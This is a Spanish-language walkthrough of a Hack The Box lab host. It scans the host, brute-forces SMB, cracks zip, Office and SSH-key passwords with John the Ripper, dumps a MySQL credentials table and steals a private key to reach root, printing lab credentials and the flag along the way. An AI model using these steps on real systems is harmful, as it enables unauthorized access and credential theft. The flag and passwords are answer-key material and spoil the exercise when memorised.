Nuestro próximo host es una estación de trabajo utilizada por un empleado para su trabajo diario.
Estos tipos de hosts se utilizan a menudo para intercambiar archivos con otros empleados y, por lo general, los administran administradores a través de la red. Durante una reunión con el cliente, se nos informó que muchos usuarios internos utilizan este host como host de salto. La atención se centra en asegurar y proteger los archivos que contienen información confidencial.
Objetivo
Examina el segundo objetivo y envía el contenido de flag.txt en /root/ como respuesta.
Escaneo de puertos
sudo nmap -v -sV -T5 10.129.202.221 -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Observamos que tiene 3 puertos abiertos, 22, 139 y 445, que se corresponden con SSH y SMB
Bruteforce de SMB
Vamos a user el módulo smb_login de metasploit, explicado en la sección Bruteforce de Servicios:
Encontramos la carpeta compartida SHAREDRIVE con permisos de lectura que nos interesa. Dentro vemos que hay un Docs.zip que pude contener información relevante, por lo que nos lo vamos a descargar con smbclient:
smbclient -U root \\\\10.129.202.221\\SHAREDRIVE
Password for [WORKGROUP\john]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Feb 10 11:39:38 2022
.. D 0 Thu Feb 10 11:35:54 2022
Docs.zip N 6724 Thu Feb 10 11:39:38 2022
14384136 blocks of size 1024. 9908800 blocks available
smb: \> get Docs.zip
getting file \Docs.zip of size 6724 as Docs.zip (9,9 KiloBytes/sec) (average 9,9 KiloBytes/sec)
smb: \>
Al intentar descomprimir este zip vemos que está protegido por contraseña, por lo que vamos a usar zip2john para crackearlo:
Vamos a utilizar nuestra lista de contraseñas mutadas con hashcat para aumentar la efectividad del crackeo con John:
afsh4ck@kali$ john --wordlist=mut_password.list zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Destiny2022! (Docs.zip/Documentation.docx)
Y bumm! Obtenemos la contraseña del zip. Vamos a descomprimirlo y ver su contenido:
afsh4ck@kali$ john --wordlist=mut_password.list doc.hash
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 ASIMD 4x / SHA512 128/128 ASIMD 2x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
987654321 (Documentation.docx)
Ya tenemos la contraseña del archivo! Ahora necesitamos libreoffice para abrirlo en Kali Linux:
Y obtenemos correctamente las credenciales del usuario root!
jason:C4mNKjAtL2dydsYa6 🏆
Root Login
ssh jason@10.129.187.207
Last login: Fri Mar 25 13:02:38 2022 from 10.129.202.221
jason@skills-medium:~$ whoami jason@skills-medium:~$ whoami
jason
Observamos que Jason no es el usuario root (aunque así se recoja en el documento), por lo que vamos a enumerar información dentro del host
jason@skills-medium:/$ cd home
jason@skills-medium:/home$ ls
dennis jason
Lo primero que observamos es que hay 2 usuarios en el sistema: dennis y jason. Enumerando un poco de información encontramos que en el directorio dennis hay un archivo .bash_history que posiblemente contenga información relevante sobre el usuario root, pero no podemos acceder:
Observamos que se utiliza una base de datos en el host, por lo que vamos a loguearnos con este usuario administrados para ver si encontramos información relevante:
jason@skills-medium:~$ mysql -u jason -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 13
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
No entry for terminal type "xterm-kitty";
using dumb terminal settings.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| users |
+--------------------+
2 rows in set (0.01 sec)
mysql> use users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| creds |
+-----------------+
1 row in set (0.00 sec)
mysql>
mysql> select * FROM creds;
+-----+--------------------+----------------+
| id | name | password |
+-----+--------------------+----------------+
| 1 | Hiroko Monroe | YJE25AGN4CX |
| 2 | Shelley Levy | GOK34QLM1DT |
| 3 | Uriel Velez | OAY05YXS1XN |
| 4 | Vanna Benton | EAU86WAY1BY |
| 5 | Philip Morales | ONC53GFI2ID |
<-------SNIP------->
| 96 | Charles Bell | FAG53RFK7TH |
| 97 | Justina Greer | YPG28SUE4JD |
| 98 | Elton Wallace | SGH05RBW1YL |
| 99 | Jamalia Byers | KVE47IWE5UF |
| 100 | Lael Rivers | YNQ63NWP1RD |
| 101 | dennis | 7AUgWWQEiMPdqx |
+-----+--------------------+----------------+
101 rows in set (0.00 sec)
mysql>
Encontramos la contraseña del usuario dennis: 7AUgWWQEiMPdqx
ssh dennis@10.129.187.207
kex_exchange_identification: read: Connection reset by peer
Connection reset by 10.129.187.207 port 22
Al intentar conectarnos por SSH rechaza nuestra conexión, por lo que directamente vamos a cambiar al usuario Dennis dentro del host:
jason@skills-medium:~$ su dennis
Password:
dennis@skills-medium:/home/jason$ cd ..
dennis@skills-medium:/home$ cd dennis
dennis@skills-medium:~$ la
.bash_history .bash_logout .bashrc .cache .config .profile .ssh .viminfo
dennis@skills-medium:~$ cat .bash_history
ssh-keygen -m PEM -t rsa
ls
cd
cd ..
cd
cd .ssh/
ls
cat id_rsa.pub > authorized_keys
vim authorized_keys
passwd
clear
exit
cd .ssh
cat id_rsa
dennis@skills-medium:~$
Conseguimos cambiar al usuario dennis correctamente, y podemos ver el archivo .bash_history, que tal y como pensábamos nos indica la ruta de los id_rsa para conectarnos sin contraseña por SSH.
Vamos a transferir el id_rsa a nuestra máquina de atacante y intentar conectarnos:
afsh4ck@kali$ ls
id_rsa
afsh4ck@kali$ ssh -i id_rsa root@10.129.233.16
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
root@10.129.233.16: Permission denied (publickey).
afsh4ck@kali$ chmod 400 id_rsa
afsh4ck@kali$ ssh -i id_rsa root@10.129.233.16
Enter passphrase for key 'id_rsa':
Nos pide un passphrase para el id_rsa, por lo que vamos a crackearlo con ssh2john
Cracking con ssh2john
afsh4ck@kali$ ssh2john id_rsa > ssh.hash
afsh4ck@kali$ ls
id_rsa mut_password.list ssh.hash
afsh4ck@kali$ john --wordlist=mut_password.list ssh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd12020! (id_rsa)
Con esto, obtenemos las credenciales para loguearnos por SSH como el usuario root y el id_rsa
Acceso Root - Final
Efectivamente, nos logueamos correctamente y conseguimos acceder a la flag 🏆
ssh -i id_rsa root@10.129.233.16
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-99-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 22 Apr 2024 03:14:46 PM UTC
System load: 0.0 Processes: 187
Usage of /: 29.0% of 13.72GB Users logged in: 1
Memory usage: 31% IPv4 address for ens192: 10.129.233.16
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Mar 25 15:41:38 2022 from 10.129.202.106
root@skills-medium:~# whoami
root
root@skills-medium:~# ls
flag.txt snap
root@skills-medium:~# cat flag.txt
HTB{PeopleReuse_PWsEverywhere!}